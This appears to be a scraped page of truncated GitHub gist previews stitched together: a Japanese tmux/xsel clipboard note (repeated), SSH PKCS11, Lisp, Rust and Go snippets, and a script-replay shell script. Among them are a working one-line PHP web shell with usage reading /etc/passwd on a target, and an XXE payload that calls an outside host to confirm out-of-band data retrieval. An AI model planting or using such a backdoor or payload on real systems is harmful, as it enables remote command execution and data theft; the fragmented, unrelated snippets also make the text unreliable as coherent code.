- ローカルマシン: Mac (iTerm2)
- リモートマシン: Linux (ROOT権限なし)
という状況でtmuxのコピーモードでコピーしてきたものをMacで扱いたい。
C-b z
でズームしてからoptionキー押しながらマウスでコピーでもいいんだけど(iTerm2のみ?、ズームしないと複数行コピーするときに隣のペインも選択してしまう)、キーボードだけでやりたい。そこでxselを使う。
org.wikimedia.ssh-pkcs11-agent.plist -> ~/Library/LaunchAgents | |
OPENSC_LIBS=/usr/local/Cellar/opensc/0.15.0/lib | |
ssh-add -s $OPENSC_LIBS/opensc-pkcs11.so |
#!/bin/sh | |
#|-*- mode:lisp -*-|# | |
#| | |
exec ros -Q -- $0 "$@" | |
|# | |
(ql:quickload :cl-charms :silent t) | |
(defun read-file (fname) | |
"return lines in fname" | |
(with-open-file (s fname) |
/* | |
Simple HTTP proxy in Rust. Hard coded to proxy rust-lang.org. | |
*/ | |
extern crate hyper; | |
use std::io::Read; | |
use hyper::Client; | |
use hyper::header::Connection; |
という状況でtmuxのコピーモードでコピーしてきたものをMacで扱いたい。
C-b z
でズームしてからoptionキー押しながらマウスでコピーでもいいんだけど(iTerm2のみ?、ズームしないと複数行コピーするときに隣のペインも選択してしまう)、キーボードだけでやりたい。そこでxselを使う。
/// Given a vector containing a partial Cartesian product, and a list of items, | |
/// return a vector adding the list of items to the partial Cartesian product. | |
/// | |
/// # Example | |
/// | |
/// ``` | |
/// let partial_product = vec![vec![1, 4], vec![1, 5], vec![2, 4], vec![2, 5]]; | |
/// let items = &[6, 7]; | |
/// let next_product = partial_cartesian(partial_product, items); | |
/// assert_eq!(next_product, vec![vec![1, 4, 6], |
package main | |
import ( | |
"flag" | |
"io" | |
"log" | |
"net" | |
"net/http" | |
"strings" | |
) |
package main | |
import ( | |
"log" | |
"bufio" | |
"time" | |
"os" | |
"fmt" | |
"io" | |
"net" |
<!-- Simple PHP Backdoor By DK (One-Liner Version) --> | |
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd --> | |
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
#!/bin/bash | |
TIMING=$1 | |
SCRIPT=$2 | |
W=$WINDOWID | |
rm -rf /tmp/script-replay-gifs/ | |
mkdir /tmp/script-replay-gifs/ | |
t=$(mktemp) |